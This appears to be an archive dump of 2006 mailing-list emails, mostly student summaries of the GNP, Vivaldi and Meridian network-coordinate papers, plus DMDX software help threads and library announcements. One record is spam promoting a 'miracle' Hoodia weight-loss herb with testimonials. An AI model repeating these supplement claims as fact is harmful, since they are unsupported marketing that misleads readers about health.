To unsubscribe, E-mail to: To switch to the DIGEST mode, E-mail to Send administrative queries to",0,0 Garry Thorp ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Mar 2006 19:12:01 -0500",[DMDX] Re: RE: script help: visual search and cueing,"Dear Ken, Thankyou for all the help that you and Jonathan have given with regard to DMDX. This is just a small update on what I have been doing. I did very well in my Diploma of Education and I have spent the last two years teaching mathematics and psychology in Geelong and North Melbourne. At present I am involved in literacy and numeracy support at local schools and I am trying to integrate the DMDX system into that support process. For a number of years I was engaged as a Leader in a Youth organization (one to which I belonged when I was young). I made so many friends and had so many good times (and adventurous). Luckily there were still some people there whom I knew when I was young!. They are very skilled in organizing adventures and the challenges we gave the boys and girls were so momentous that there is no doubt that these would later be wonderful memories (to me also). In one incident a sudden storm overturned one of our sailing boats (on a Gippsland inlet)(with 9 boys and girls and 2 leaders and it took all afternoon to get the boat upright and to shore! But today, unfortunately, the rules and regulations on safety are so strict that such adventures are out of the question. I still look for possible variables which may be important in the reading process and if I remember correctly in a previous email I mentioned that there is one that may have been overlooked. I refer to Carroll's measure of DISPERSION. This seems to me to lie midway between frequency-based-access and semantic analysis as dispersion is a measure of the different contexts in which a word occurs. And contexts can be construed as semantic fields. Of course frequency and dispersion are highly correlated and together make a highly predictive principal component. It is often mentioned in education that reading in diverse subject areas helps develop reading. Best of luck in your golfing! If you have any recent research available on semantic categorization I would be very grateful if you could send me some information. Yours Sincerely Garry. > ----- Original Message ----- > From: ""Kenneth Forster"" > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] RE: script help: visual search and cueing > Date: Mon, 23 Jan 2006 09:45:27 -0700 > > > Try the following: > > http://www.u.arizona.edu/~kforster/dmdx/examples_of_scripts.htm > > --k.i.f. > > > > -----Original Message----- > > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > > owner@psy1.psych.arizona.edu] On Behalf Of Michael Proulx > > Sent: Monday, January 23, 2006 4:15 AM > > To: DMDX@psy1.psych.arizona.edu > > Subject: [DMDX] script help: visual search and cueing > > > > I am trying DMDX for the first time, and am looking for helpful > > resources. Would anyone with scripts for visual search or attentional > > cueing share their code? Or is there a common depository where people > > share such files (such as http://nbs.neuro-bs.com/jones which mostly > > has Presentation-coded files)? I would be happy to share anything I > > produce with this system as well. > > > > Thanks! > > Michael Proulx > > mproulxjhu@gmail.com > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- _______________________________________________ Search for businesses by name, location, or phone number. -Lycos Yellow Pages http://r.lycos.com/r/yp_emailfooter/http://yellowpages.lycos.com/default.asp?SRC=lycos10",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Mar 2006 18:02:41 -0700",[DMDX] Re: input device name for sidewinder gamepad,"At 08:20 PM 3/13/2006 +0000, you wrote: >A few years back someone reported the problem below, of DMDX not recognising >the sidewinder game pad, but there wasn't further communication (that >I could find) to see if the problem was resolved, and I now have the >same problem. Is it fixable or should I just use a different gamepad? I am >guessing it is because Jonathan reports the results of changing the refresh >rate for USB devices with this particular gamepad. Somewhere in the documentation I mention that the diagnostics contain simplified names of USB devices. You need to use the simplified name. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The moving cursor writes, and having written, blinks on. ",0,0 Thomas Ahart ,LEM Swap List ,"Mon, 13 Mar 2006 17:59:50 -0600",FS iMac down converter board,"Hey everyone. Still have the iMac down converter. Pulled from a 400Mhz Indigo iMac. Asking $15.00, make an offer if you think that is unreasonable. Thanks for looking, Thomas Ahart 66209 ",0,0 Theodore Ming Shiuan Chao ,egs@cs.cornell.edu,"Mon, 13 Mar 2006 22:12:41 -0500",paper 14,"GNP and Vivaldi both embed the network nodes into a finite virtual coordinate space so that distance calculations can be calculated without additional explicit measurements. They use previously done measurements to other nodes - specific landmark nodes for GNP and a random subset of nodes for Vivaldi - to place the nodes relative to each other. An issue with virtual coordinate-based location schemes is their ability to deal with constantly changing networks. Can GNP and Vivaldi deal with networks with high churn or a propensity for flash loads at nodes? The GNP paper (or slides) do not address that at all, and the Vivaldi paper only offers one experiment on a flash load at a single node. They found that the network stabilized after 20 seconds, but they didn't investigate the effects of churn (where a node entering has no information and a node leaving takes away information from network locality), nor the effects of short-lived flash loads that last less than that 20 seconds. There is also a huge reliance on cooperation and the accuracy of other nodes. In Vivaldi, a node relies on it neighbors correctly reporting their position and also correctly estimating and reporting their accuracy as well. The effects of a single misconfigured or malicious node might significantly undermine the accuracy of the scheme. Meridian offers a different approach that is somewhat similar to how Pastry handles locality-informed routing. Each node maintains information about k nodes in each ring representing a range of measured distances away. When locating a node nearest to a given target, it looks for a node in appropriate ring closest to the target and forwards the request to it. Assuming a good distribution within each ring, the request should get exponentially closer to the target with each hop. However, since locating nodes requires sending requests out, the uses of this seem more limited than virtual coordinates, where node locating can be done without use of bandwidth for measurements after the geography is set up. It seems that Meridian sacrifices generality (where a node can easily determine the distance between it and any other node in the network) for scalability and accuracy. ",0,0 cm2036@columbia.edu,economicsbb@columbia.edu,"Mon, 13 Mar 2006 22:14:30 -0500",EADI prize for development studies - for graduate students,"The European Association of Development Research and Training Institutes (EADI) announces the 2006 prize for excellence in development research. The prize, worth �1 000, will be awarded for an essay on an issue of development studies in any field of the social sciences submitted and written by a postgraduate student from an EADI member country or attending a programme at an institutional member of the Association. Entries for the EADI Prize for Development Studies should be essays of between 5 000 and 7 000 words submitted double line-spaced in 11-point type. Each entry should be accompanied by a two-hundred- word abstract and a CV. Deadline: 31 May 2006 by e-mail. For further information please contact: European Association of Development Research and Training Institutes Kaiser-Friedrich-Str. 11 53113 Bonn, Germany Tel. +49-228-261 81 01 Fax +49-228-261 81 03 E-Mail: postmaster@eadi.org Website: http://www.eadi.org/ ",0,1 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Mon, 13 Mar 2006 23:57:18 -0500",PAPER 14,"Niranjan Sivakumar Predicting Internet Network Distance with Coordinates-Based Approaches Vivaldi: A Decentralized Network Coordinate System Meridian: A Lightweight Network Location Service without Virtual Coordinates Global Network Positioning (GNP) is a system that models the Internet as a geometric space in order to allow distance calculations without actually having to measure RTT between any given nodes. The core of the system is a small set of landmark nodes that are used by other nodes in the system to approximate their position coordinates in the network space. Vivaldi is another geometric modeling of the Internet space, but without the centralized landmark servers that are present in GNP. Vivaldi models the network as a spring system. Nodes are “pushed” by other nodes as the network changes and nodes communicate with each other with a goal of eventually stabilizing at coordinates that are closely correlated to real RTT. Nodes in Vivaldi can perform their initial RTT measurements on any node in the system and do not have to contact anything like a landmark node. Meridian does not use a coordinate system for discovering network location, but rather relies on a system of multi-resolution rings. A few neighbor nodes are put into rings based on their measured distance. Thus, nodes become experts on their locality and can forward queries to other experts at another, more distant, locality. The system uses gossiping to contact nodes to measure actual latency and discover nodes. Periodic gossiping keeps latency information up to date. One of the biggest weaknesses that is clearly seen with GNP is the requirement for centralized landmark servers. These can be a target for attack and detract from other benefits provided by the rest of the decentralized network. Vivaldi deals with the issue of centralized servers, but as the authors admit, it is not robust in the face of malicious nodes. It seems that the coordinate scheme could be manipulated by attackers, and particularly by attackers that work together to exploit the system. Meridian seems to put a higher burden on nodes than the coordinate systems. While the load is not excessive, it's certainly more complex than some other coordinate systems. Also, as noted in the paper, coordinate based systems may be more general than Meridian. ",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Mon, 13 Mar 2006 21:56:07 -0800",PAPER 14,"For many network applications, both peer-to-peer and more general client-server, it's useful to determine which of a set of servers is closest to a client. The simple solution to this is to have the client ping all the servers, and take the one with the shortest round trip time. In systems with a large number of clients or servers, this approach generates a lot of traffic, and it results in higher latencies the first time a client contacts a server. The papers for this week attempt to eliminate these problems by providing a scheme for estimating the distance between two nodes, based on other information in the network. The first scheme is GNP, which is presented using a set of slides rather than in a paper. This makes it slightly more difficult to understand. As far as I can tell, it works by modeling the Internet in a coordinate space. First, it selects a set of landmark servers, determines the RTT between them, and uses these measurements to assign the landmarks coordinates in the space. Then, when a new node joins, it pings each landmark, and figures out its location in the coordinate space. They also propose Triangulated Heuristic Coordinates, which I think create coordinates for an object by selecting some base servers, finding the distance from the object to the base servers, and using those as coordinates. Vivaldi takes the same basic approach, with two key modifications. First, it models the nodes in the network as a system of physical springs; the system attempts to find the minimum energy configuration, and this corresponds to the minimum error configuration for the coordinate system. Secondly, it uses a 2 dimensional space, and adds a height, a directionless value, to each object. This accounts for the lag due to access link latency. The performance data which is presented shows that Vivaldi outperforms GNP in most cases. Meridian uses a different approach to find nodes which are nearby. It forms a loosely structured overlay network. Each node keeps track of O(log N) peers, which are organized into a series of concentric rings. The node also tracks some additional peers which it can add to the rings as needed to fill in gaps. Information about peers is spread using a gossip protocol. Meridian can be used to find the closest node to a target, giving it the ability to search like Chord or Pastry. Meridian also makes it easy to find a central leader for a group, and sets of nodes which satisfy network geography constraints. Experiments show that by eliminating embedding errors, Meridian significantly reduces error in the distances it calculates. GNP and Vivaldi both require fairly expensive calculations to create their embedded coordinate system. This could prove to be too costly in networks with high churn. In Meridian, fairly high churn could be tolerated, provided that the gossip protocol spread information fast enough to offer replacements for failed nodes. However, Meridian doesn't provide a very accurate way of determining which server will be closest to a client without running any additional packets through the network. If these calculations are used to determine who a node contacts, then these schemes might run into problems, as people intentionally delay responses so that their node gets less traffic. A couple of misbehaving nodes, especially in GNP's landmark servers, could also cause a lot of chaos. -- Victoria Krafft ",0,0 Andrew Cunningham ,egs+summary@cs.cornell.edu,"Tue, 14 Mar 2006 01:07:37 -0500",PAPER 14,"Andrew Cunningham arc39 _Predicting_Internet_Network_Distance_with_Coordinates-Based_Approaches_ T.S. Eugene Ng and Hui Zhang It's hard to respond to this paper -- I'm operating under the assumption that you didn't want us to, since it was difficult to ocomprehend the telegraphic speech present in the powerpoint slides. Nevertheless, the central concept of the slides is interesting and fairly easy. It is relatively expensive to do a ping exchange with each other node we wish to establish a distance to; if we model the internet as a euclidian space, we can measure distances to central points, and use those as coordinates in the internet-space so generated; this lets us simply measure distance (in terms of hop count, or ping time, etc) to obtain an upper bound on actual ping-time distance. The scheme is fairly good, though somewhat expensive for the central servers, albeit at a cost proportional to the carrying capacity of the network, not the number of distance-related transactions on the network. Also, outages in the well-known central entities cannot easily be repaired -- the entire system must remeasure against any new landmark that is put into the system, which is an individually small cost, but means that there are definite points of this system which do not scale and cannot be easily repaired/replaced. _Vivaldi:_A_Decentralized_Network_Coordinate_System_ Frank Dabek, Russ Cox, Frans Kaashoek, Robert Morris Vivaldi attempts to measure internet distances via a spring-lattice structure, allowing disparate peer nodes to communicate information about physical location -- as measured in milliseconds -- to each other, for route selection, etc. Alternate measures are proposed, the most feasible being to consider the system as not just a two dimensional grid but the surface of a sphere, and thus the effects of wrap around be internalized to the model. This is rejected because the internet does not, in fact, tend to wrap around; America is at the ""center"" of the world-wide-web, at least for now. They model the interrnet as a lattice of springs, in that between each pair of hosts there is some spring with rest length equal to the RTT between the two nodes. They then minimize the squared error function, which is equivalent to spring energy, in other words, allowing the springs to acheive a natural equilibrium. They divide time into a series of steps, and permit the springs to act upon those nodes that are out of alignment, thus converging in a strictly local sense to the correct answer, using only localized information. In addition, the system models the fact that many nodes must be routed through a third party as a height vector, derived from the energy stored in the springs, which means that euclidean distance is better approximated. This is a very tight algorithm, though as pointed out, it is prone to find locally minimal (energy) coordinate-states rather than globally minimal ones, which means that it is nonoptimal; moreover, it is night impossible to do simulated annealing or other such random-restart processes, making it difficult to recover from these states, without introducing wild shifts. Unrelatedly, the system seems logically incomplete: though they model distance from the internet core as distance above the euclidean plane, there are two cases which are not easily distinguished in this model and not well handled: sites that are near each other, yet distant from the internet core, and sites that are equidistant from the internet core and removed from each other. In the first case, the system behaves perfectly, taking the distance between two euclidean ""tall"" points essentially ignoring the height (if equal). In the latter, however, they will be at the same ""height"" (if equidistant from the core) and thus this extra travel time will not be factored in correctly, and thus must be modeled entirely in euclidean distance in the plane. This is a degenerate case of their algorithm (with all heights equal to 0) and thus throws suspicion on the height. _Meridian:_A_Lightweight_Network_Location_Service_without_Virtual_Coordinates_ Bernard Wong, Aleksandrs Slivkins, Emin Gun Sirer This version may be described as a set of series of concentric rings; each node maintains some neighbor set organized as rings. These rings vary over exponential radii, and are maximized based on local measurements (in a local n-space, the paper maximizes the volume of the object formed between the various neighbors). This is also prone to local optima which are not globally maximum, or even necessarily very good, but the system may take wider swings and thus is not as prone to stultifying as other systems. It is a decentralized system with excellent (logarithmic) performance measures. The system is interesting in that it doesn't have the same sense of direction as others with more absolute senses; rather than providing absolute coordinates and thus euclidian direction, there are strict distances. The fact that state may be maintained locally per-node for wide-ranging maxima is almost icing on the cake. ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Tue, 14 Mar 2006 01:06:53 -0500",PAPER 14," In building distributed systems, it's often useful to have an estimate of the round-trip-time to a given host. This can generally be obtained by pinging, but it would commonly be desirable to measure it without first pinging. In particular, the network load from this approach rises proportional to the number of hosts. Much better to infer this distance. An easy way to do this, used by GNP, is to measuring distances to a small number of landmarks, and then applying Euclidean distance metrics. The GNP analysis shows that this method is inexact, but still gives usable results. GNP is a centralized algorithm, with all the scaleability issues that implies. Nodes do not always respond consistently, and link RTT depends on traffic as well as distance, so measurements will vary over time. GNP does not take this into account. Lastly, internet routes do not obey the triangle inequality, so attempts to map network distance cleanly to Euclidean space are ultimately impossible. Vivaldi attempts to minimize the global deviation from Euclidean space, in a fully distributed way. The Vivaldi designers use two important tricks: First, they add a misleadingly-named 'height', which is in fact an extra distance added to every node. This simulates the processing time for packets at the host, and on the local link. They also have nodes adjust their position based on spring forces to nearby nodes. The vivaldi system works fairly well, but the authors seem not to have fully used the spring analogy. Mass-spring meshes are vulnerable to oscillation, particularly given that vivaldi essentially uses euler's method. Using the physics model more consistently--for instance, having meaningful 'masses', dependent perhaps on time connected to the system--might have made the system more effective. It would be nice to test the system on a 'live' network, rather than static data. Meridian attempts to solve a somewhat different problem. Rather than giving nodes a well defined 'address', Meridian is a peer-to-peer substrate designed for network-location queries. Each node keeps track of a number of concentric rings, defined by network distance. Each ring consists of a number of other nodes, chosen to be spread out (not near each-other). Gossip and periodic polling are used to keep the rings up to date. Meridian is more accurate than Vivaldi or GNP, but it supplies less data--it might be useful to know the true network distance to a given node, without measuring it. Meridian does not allow this. The actual distance distribution of nodes in the internet is nontrivial; there is no reason to assume a priori that equal sized rings are optimal. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 """Hague C. Wrapt"" ",Bait ,"Mon, 13 Mar 2006 20:51:27 -0500",Try the new miracle weight loss herb,"Hoodia 920+ -- The newest and most exciting fat loss product available - As seen on Oprah! http://www.zayrinc.com Real testimonials: ""I was originally amazed that the first two pills I took of Hoodia 920+, almost immediately took my cravings away. Now 4 weeks later, 3 belt holes later, I have become an advocate for this awesomely powerful, natural supplement!"" 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A node can request data from the server and predict a desired RTT. This however, produces a bottleneck at these servers, and additional latency is incurred requesting the data from the server. A second solution is to use triangulated heuristic coordinates, or hop counts to some base stations nodes in the network. The accuracy is often less than desired. The authors propose Global Network Positioning (GNP) where there is a set of well known landmark nodes in the network, and the node in question trilaterates its position in a 3-D euclidian space relative to the landmark nodes. The authors find that this scheme functions relatively well, although the slides do not mention how, due to inconsistencies in link latencies in the network, inconsistent localization from more than 3 landmark nodes is handled. VIVALDI Vivaldi, like GNP, places nodes in a virtual 3D (more precisely a 2D with directionless height, or 2.5D) space where euclidian distance between nodes is indicative of RTT. The primary difference between the two is that Vivaldi does not use a set of landmark nodes like GNP. Vivaldi implements a decentralized version of the following optimization: Consider the network as a complete graph, with each edge as a spring. The resting length of the spring is the true RTT between to vertices (nodes). Nodes have been positioned optimally for a given virtual space when the sum of the potential energies of all springs is minimized (the springs will be stretched to satisfy low number of dimensions in the virtual space). This in fact will naturally occur if the mass of nodes and springs is allowed to float freely in space and stabilize under it's own forces. As potential energy is proportional to distortion squared for springs, this solves a least squares fitting problem. It is possible to simulate this self-stabilization in both a centralized and decentralized manner, Vivaldi uses the latter. Optimizations of the distributed simulation allow the system to react gracefully to the introduction of a large number of nodes into the network. The authors find the system to be comparable in accuracy to GNP, a centralized scheme. It is further refined by the use of a 2D + directionless height vector space, rather than a 3D space. MERIDIAN Meridian does not use a virtual coordinate system like GNP or Vivaldi, despite serving the same goals. Each node keeps O(log N) state in the form of a set of peers organized by concentric rings of increasing network distance radii. Much in the spirit of prefix routings ability to move exponentially closer to a target in an identifier space, Meridian jumps exponentially shorter distances towards a target. Membership structure in these rings is loose, allowing a gossip protocol to be used to refresh and fill rings. Simulation demonstrates that Meridian produces superior performance to GNP and Vivaldi. ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Tue, 14 Mar 2006 04:04:49 -0500",PAPER 14,"Network distance (round-trip latency) predictions are beneficial to large-scale distributed (including peer-to-peer, either structured or unstructured) systems in node selections. The three papers to be discussed today present different, but all scalable, approaches to select nodes based on estimated network distances. GNP and Vivaldi are coordinate-based distance prediction systems. Meridian performs node selections without virtual coordinates but use direct measurements instead. Unlike GNP that involves centralized components, landmarks, in determining coordinates, Vivaldi computes coordinates on the basis of a simulation of springs that requires no fixed infrastructure. * Constantly adjusting the coordinates to adapt underlying topology changes in Vivaldi implies significant overhead. * In the frameworks such as GNP that distances are estimated by two nodes' coordinates, it is possible that nodes lie their coordinates (so as to avoid being selected by other nodes, in peer-to-peer systems). * This paper proposes a Global Netwotk Positioning (GNP) mechanism and compares it with two previous works, triangular heuristic and IDMap. * GNP models the Internet as a geometric space. It characterizes the position of any node by a point in this space. A set of servers, Landmarks, are deployed which compute their coordinates in a chosen geometric space. They serve as the reference and are disseminated to nodes who want to compute their coordinates. The network distance between any two nodes is predicted by the geometric distance between them. * Vivaldi computes coordinates for all nodes by minimizing the square error between round-trip latency and the coordinate distance. Nodes periodically re-compute their coordinates to adapt to changing network conditions. * Height-Vector Model: Different from previous works that use Euclidean or spherical models, Vivaldi proposes a height vector model: Each node has a positive height element in its coordinates. A node that finds itself too close (far away) to (from) nodes on all sides scales its height up (down) away from the Euclidean plane. A packet transmitted from one node to another has to travel the source node's height, the Euclidean space, and the destination node's height. The experimental results show that it performs better than above-mentioned models. * The Meridian framework consists of three mechanisms and can be used to address three location-related problems in distributed systems. (1) Each node keeps track of a fixed number of other nodes and organizes them into concentric non-overlapping rings of exponentially increasing radii. (2) Each node periodically reassesses and replaces ring members with alternatives that provide greater geographical diversity (which is quantified through the hyper-volume of the k-polytope formed by the nodes according to their coordinates). (3) Each node discovers and maintains a small set of pointers to a diverse set of nodes by a gossip protocol. (a) Based on its loosely-structured overlay, Meridian locates the closest node by performing a multi-hop search very similar with Chord or Pastry where each hop reduces exponentially the distance to the targeted reference point. (b) Extending the previous protocol, Meridian finds a node that offers minimal latencies to a given set of nodes by using the average d computed by each node. (c) To find a set of nodes in a region whose boundaries are defined by latency constraints, Meridian performs a multi-constraint query and includes the share area of each elected node in the solution space.",0,0 Shane Lindsay ,DMDX@psy1.psych.arizona.edu,"Tue, 14 Mar 2006 11:57:15 +0000",[DMDX] Re: input device name for sidewinder gamepad,"I did try using testmode 10 before. The help files you refer to say this: ""A recent problem is devices having cute little symbols as part of the name making it very hard to get the name of a device into an item file. To combat this DMDX dumps the names of available input devices into the diagnostics, not only that it also checks a parsed version of the name that has unusual characters removed from it that is also printed in brackets."" My RTF file says this: But DMDX says : available DI device (Microsoft SideWinder P ((then it runs out of screen space)) input device selection failed On 3/14/06, j.c.f. wrote: > > At 08:20 PM 3/13/2006 +0000, you wrote: > >A few years back someone reported the problem below, of DMDX not > recognising > >the sidewinder game pad, but there wasn't further communication (that > >I could find) to see if the problem was resolved, and I now have the > >same problem. Is it fixable or should I just use a different gamepad? I > am > >guessing it is because Jonathan reports the results of changing the > refresh > >rate for USB devices with this particular gamepad. > > Somewhere in the documentation I mention that the diagnostics contain > simplified names of USB devices. You need to use the simplified name. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The moving cursor writes, and having written, blinks on. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """Bombeld, Madeleine"" ",E-Reserves in Libraries Discussion List ,"Tue, 14 Mar 2006 07:55:33 -0500",RE: [ARL-ERESERVE] Podcasting and E-Reserves,"We don't do that yet but I'm very interested in responses to this question so please comment on the list. Madeleine Bombeld ________________________________ From: E-Reserves in Libraries Discussion List on behalf of Schwarzer, Schlomit Sent: Mon 3/13/2006 2:47 PM To: E-Reserves in Libraries Discussion List Subject: [ARL-ERESERVE] Podcasting and E-Reserves Hello Everyone: Pardon the duplication, I sent this message to the Circplus Listserv also. Some of our professors would like to explore podcasting for their classes. Do any of you use podcasting to support classes or use e-reserves to deliver 5 minute segments of videorecordings? Thanks, Schlomit Schlomit Schwarzer Head of Access & Delivery Services Otto G. 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Generally, ""distance"" measures latency in the network. First IDMaps is briefly examined which is a client-server architecture where a server maintains a toplogical model of the network and can make predictions of latency for clients. However, this model presents an overhead of communicating with a potentially heavily loaded server. Next, Global Network Positioning is presented which uses landmarks in the network. These landmarks measure their latencies to each other and embed themselves in a Euclidean space by minimizing the overall difference between computed distance in the Euclidean space and the actual measured distances.. New nodes measure their latencies to the landmarks and embed themselves in the space similarly. Finally a triangulation heuristic is presented where nodes measure the number of hops to various ""bases"" in the network. This provides some kind of upper bound as the min of the sum of the number of hops to all bases from each node. An evaluation of these systems is presented using relative and direction errors which first suggest that GNP outperforms both other methods(90% of estimates have relative error of .97) and that these systems typically overestimate the latency (and do so with large deviations). Dabek et al. present ""Vivaldi"" which models the coordinate embedding problem as a spring potential energy minimization problem. Here, nodes are connected via springs with the rest length of the springs equal to the measured RTTs between nodes and the actual length of the springs equal to the distance between node in some coordinate space (several are considered). The optimization problem then iteratively examines the forces on each node, sums them and applies the resulting force for some timestep delta. This algorithm can be distributed such that each node makes a sample with a peer and applies that new ""force"" to the existing samples it already has. This leads to an adjustment in the coordinate space and yields a local search problem. Several coordinate systems are examined and finally a 2-d Euclidean space with ""height vectors"" is proposed which is shown to model (with some intuitive arguments regarding height vectors modelling access links and the plane modelling the internet core) internet RTTs well. However, the evaluation doesn't consider changes in RTTs between nodes. Instead all RTTs are preset and fixed for the lifetime of the simulation. It's not clear how the local search problem would fare in such a dynamic environment and even so it's not clear that the optimization will converge in any case (although it seems to have in the presented simulation). Furthermore, the model presented seems to have a good intuitive basis and is mathematically well defined, however no analysis of this model is performed to explore parameters of the system. Wong, Slivkins, Sirer present ""Meridian"" which is another network distance solution; however, Meridian doesn't embed nodes in a global coordinate system. Instead, each node maintains a set of concentric, exponentially expanding rings. Each ring contains a fixed number of nodes at the given ring distance (actually a range of distances). In this way each node accurately models the distance to its neighbors. This solution is less general than the absolute coordinate embedding because each node only has a local model of positioning. No global model is available for general use. However, solutions to three common problems using Meridian are presented: closest node discovery (find the node closest to some target), central node discovery (find the node central to a set of nodes) and latency region intersection select (find the set of nodes all of which have latency less than some bound to all nodes in another diverse set of nodes). Additionally analysis is presented that under some important metrics Meridian will provide epsilon-nice rings (such that ""good"" closest neighbors will be selected with high probability) for small per-node state. Empirical results (supporting assumptions made in analysis) suggest that Meridian significantly outperforms the above two embedding solutions. ",0,0 Peter Suber ,SPARC-OAForum@arl.org,"Tue, 14 Mar 2006 11:22:22 -0500",TEL-ME-MOR POLICY CONFERENCE: The digital future of cultural and scientific heritage ,"[Forwarding from the DigLib list. --Peter.] TEL-ME-MOR POLICY CONFERENCE The digital future of cultural and scientific heritage 19-20 October 2006 Tallinn, Estonia Objectives * provide a forum for discussion of the latest digital library developments in Europe and worldwide * highlight future research requirements and formulate recommendations as to how the EU and international R&D agendas can lead to improving access to our common cultural heritage. Focus & themes * The European Digital Library: digitisation priorities, standards and interoperability, multilingualism, licensing. * Research requirements, role & perspectives of memory institutions within the EU Seventh Framework Programme * Digital library initiatives in Europe and the world. Participants Cultural and educational institutions, researchers & research bodies, policy makers, EC representatives, EU-funded projects, CENL Members. Information, preliminary agenda & registration: http://telmemor.conference.php info@telmemor.net TEL-ME-MOR is a project funded under DG Information Society's IST programme and managed by the Learning and Cultural Heritage unit. TEL-ME-MOR: * is raising awareness of the opportunities for New Member States (NMS) to participate in European projects, especially in the areas of Culture and Learning. * is supporting the 10 new National Libraries to integrate their electronic resources into The European Library ( http://www.theeuropeanlibrary.org/), an initiative established under the aegis of the Conference of European National Librarians (CENL), providing unified access to the digital and non-digital resources of the national libraries of Europe. TEL-ME-MOR partners are: * Die Deutsche Bibliothek (The National Library of Germany) - Coordinator * Koninklijke Bibliotheek (The National Library of the Netherlands) * The British Library * Bibliotheque Nationale Suisse (Swiss National Library) * Stichting Conference of European National Librarians (CENL) * Eremo srl, Italy * The 10 New Member States National Libraries. Additional information at: http://www.telmemor.net/",0,1 Chiu Wah Kelvin So ,egs+summary@cs.cornell.edu,"Tue, 14 Mar 2006 11:24:52 -0500",Paper 14,"The first paper, ""Predicting Internet Network Distance with Coordinates-Based Approaches,"" presents architecture to predict network distance between nodes by using network embedding. Their proposed system is called Global Network Positioning. In their system, it include two set of hosts (two-tier system), which include Landmarks and ordinary hosts. Landmarks are a small set of hosts who compute their own coordinate. Landmarks' coordinate will use as a reference for computing coordinate for other ordinary nodes. To compute the Landmarks' coordinate, Landmarks first collect all the pairwise RTT of Landmarks. Then, it minimizes the overall error of all the predicted distance with the measured RTT. Using the coordinate of the Landmarks, ordinary node sends a ping message to calculate the RTT to each of the landmark, and minimizes the overall error of all the predicted distance between the node and all Landmarks with the measured RTT to all the Landmarks. This system will exchange N^2 messages to compute the coordinate of the Landmarks, where N is the number of Landmarks. And each additional node will require N message to compute its own coordinate. In the paper, it compared GNP with IDMap and triangulated heuristic to show that GNP has a higher accuracy in predicting the network distance than existing approach. However, GNP requires Landmarks to be up all the time. Also, the choice of landmarks affects the GNP prediction of RTT. The second paper, ""Vivaldi: A Decentralized Network Coordinate System,"" presents a similar, but decentralized approach of GNP. Vivaldi simulates systems by placing spring between each of the pairwise nodes with the rest length set to the RTT. The potential energy of such a spring is proportional to the displacement of its rest length. And we want to minimize the energy over all springs (the error function). Each node simulates its own movement and computes its own coordinate in the system. Whenever a node communicates with other node, it measures the RTT and learns that node's current coordinates and the accuracy. Based on the information it receives, node updates its own coordinate. They show that the accuracy of Vivaldi is as good as the accuracy in GNP while Vivaldi is completely decentralized. They also provide some interesting coordinate space to simulate the accuracy of Vivaldi. However, this system assumes that all nodes are cooperative in reporting their information. The third paper, ""Meridian: A Lightweight Network Location Service without Virtual Coordinates,"" presents an architecture to select closest node to a target, minimal latencies to a given set of nodes, and select a set of nodes given latency constraint to a target. Instead of using network embedding, the author narrows the network coordinate position problem to a node selection problem. Meridian uses a loosely structured overlay network to maintain multi-resolution rings. Radius of each ring is exponentially farther. Nodes measure distance of nodes and places O(LogN) nodes into ring i where ri < distance < r(i+1). Each node periodically measures other nodes in the same ring. Then, meridian will only put the most k diverse nodes into the ring. Meridian nodes can locate the closest node to a target by looking at the node which is closer to the current nodes. At each step, the node greedily picks a closer node to the target. Since there are exponentially more nodes to pick from when it is closer to the Meridian nodes, it can have this zoom in effect. The experiments show that it is more accurate to select the closest node to target than the previous network embedding approach.",0,0 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Tue, 14 Mar 2006 11:42:22 -0500",paper 14 - RTT estimation,"GNP in this scheme hosts maintain their co-ordinates computed according to a set of landmarks. these co-ordinates allow nodes to compute inter-host distances as soon as they discover each other. each host measures its distance to the landmarks and takes the minimum of several paths as distance. the number of the landmarks must be greater than the dimensionality of the co-ordinates in order to compute a larger number of unique co-ordinates. once the landmark co-ordinates are computed, they are disseminated, along with the identifier for the geometric space used and the corresponding distance function to any host that wants to participate in GNP. experimental results show high prediction accuracy in case of random placement of i-nodes. the ideas in this domain assume that hosts do not lie about their co-ordinates although they have a huge incentive for doing so ( reduces the amount of load on a node) the authors themselves state that prediction mechanisms fail in the case that Internet paths are not stable. Vivaldi it is a decentralized algorithm that assigns synthetic co-ordinates to hosts such that the distance between the hosts accurately predicts the communication latency between the hosts. the ability to predict RTT without measuring it directly is important in the case when the number of servers is large or when the amount of data is small. Any prediction scheme would have a certain amount of error- minimizing this error is a key goal. Any low dimensional scheme would not be good enough due to distorted latencies and violations of triangle inequality. BASIC ALGORITHM: the error is computed is analogous to the displacement in a physical mass-spring system: minimizing energy in the spring is equivalent to minimizing the squared-error function. the central idea is based on the fact that in each period, we compute the change in co-ordinates on the basis of the net force in the system (reaching convergence after a certain amount of time) the period may be constant or variable - DESIGN ISSUE a large time step would adjust co-ordinates in large steps which could result in oscillations. a small time step leads to better convergence with a greater communication overhead. oscillations in co-ordinates can be avoided by including another factor that indicates how certain a node is about its co-ordinates. Additionally, when communication with other nodes, nodes must also be be aware about the certainties of the co-ordinates of other nodes (the converse of which is termed as remote error) MODEL SELECTION the authors have experimentally shown that adding beyond 3 dimensions to the co-ordinate system does not make a significant improvement in error prediction. the authors add another height dimension to the 2-d co-ordinate system improving the error prediction system (forces may cancel 